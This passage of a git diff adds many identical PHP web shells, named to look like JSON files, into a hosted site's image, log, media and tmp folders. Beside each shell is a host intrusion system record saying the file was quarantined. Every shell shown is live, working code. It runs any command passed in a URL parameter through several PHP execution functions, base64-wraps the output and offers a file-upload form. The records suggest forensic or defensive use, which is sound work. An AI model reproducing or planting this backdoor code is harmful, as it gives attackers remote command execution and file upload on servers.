+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json.evidence.json
new file mode 100644
index 0000000..c1ebeb7
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5287",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_vp8mjkv7.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699442,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "files/_h3x_vp8mjkv7.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json.evidence.json
new file mode 100644
index 0000000..670b3c8
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5188",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_hzba1jvm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699438,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_hzba1jvm.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json.evidence.json
new file mode 100644
index 0000000..cd6270c
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5184",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_je0zgowm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837750,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_je0zgowm.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json.evidence.json
new file mode 100644
index 0000000..7c95ab1
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5198",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ott0201u.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700159,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_ott0201u.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json b/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json.evidence.json
new file mode 100644
index 0000000..67234fb
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5306",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_hzuz4jb8.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699441,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_hzuz4jb8.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json.evidence.json
new file mode 100644
index 0000000..b43f7e6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5300",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_nbmlj4wd.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700162,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_nbmlj4wd.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json.evidence.json
new file mode 100644
index 0000000..7416216
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5303",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_nyg1j0r2.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837755,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_nyg1j0r2.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json b/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json.evidence.json
new file mode 100644
index 0000000..9a23758
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4996",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_hn5jabjv.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699440,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_hn5jabjv.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json b/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json.evidence.json
new file mode 100644
index 0000000..4c4e51e
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4989",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_qkrfp39e.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700161,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_qkrfp39e.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json b/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json.evidence.json
new file mode 100644
index 0000000..65385da
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5001",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_sp89teja.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837754,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_sp89teja.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json.evidence.json
new file mode 100644
index 0000000..d8d94e1
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5225",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_axg1w8kw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699439,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_axg1w8kw.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
